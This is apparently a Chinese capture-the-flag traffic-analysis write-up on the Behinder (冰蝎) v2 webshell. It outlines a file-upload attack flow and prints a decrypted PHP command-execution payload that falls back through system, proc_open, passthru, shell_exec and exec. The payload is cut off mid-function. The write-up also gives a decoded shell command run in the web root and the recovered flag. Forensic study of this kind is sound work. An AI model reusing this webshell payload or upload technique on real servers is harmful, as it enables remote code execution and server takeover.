冰蝎简述:

首次连接webshell时,客户端首先向服务器端发起一个GET请求
服务器端随机产生一个16位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中
客户端获取密钥后,对二进制payload先进行AES加密(本地openssl模块),再通过POST方式发送至服务器端
服务器收到数据后,从Session中取出密钥,进行AES解密,解密之后得到二进制payload数据
服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回
做题
利用文件上传漏洞进行冰蝎webshell植入
流5:

┌─────────────────────────────────────────────────────────────┐
│ 攻击流程 │
├─────────────────────────────────────────────────────────────┤
│ 1️ 上传恶意文件 │
│ POST /index.php (包含 dcic.php) │
│ │
│ 2️ 服务器保存文件 │
│ 保存到:/uploads/dcic.php 或 /images/dcic.php │
│ │
│ 3️ 访问 WebShell │
│ GET http://10.30.16.146/uploads/dcic.php │
│ │
│ 4️ 发送加密命令 │
│ POST /uploads/dcic.php │
│ Body: AES128_Encrypt("system|")│
│ │
│ 5️ 服务器执行命令 │
│ 解密 → eval() 执行 → 返回结果 │
│ │
│ 6️ 获取 Flag │
│ 发送:AES128_Encrypt("system|")│
└─────────────────────────────────────────────────────────────┘
这道题的冰蝎(v2)特征:
- AES-128加密且密钥固定16字节
- XOR回退
- Session密钥
- 有命令分隔符“|”
此处直接用PZ进行解密

流14:(内层base64解码后;)
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
(不知道为啥,这个代码在此处老是要断开)
function Encrypt($data)
{
@session_start();
$key = $_SESSION['k'];
if(!extension_loaded('openssl'))
{
for($i=0;$i
base64:
cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls
base58:
flag{dbeeed36-0d7e-211a-69db-66bd74ea91d5}

Comments 1 条评论
哥哥tql
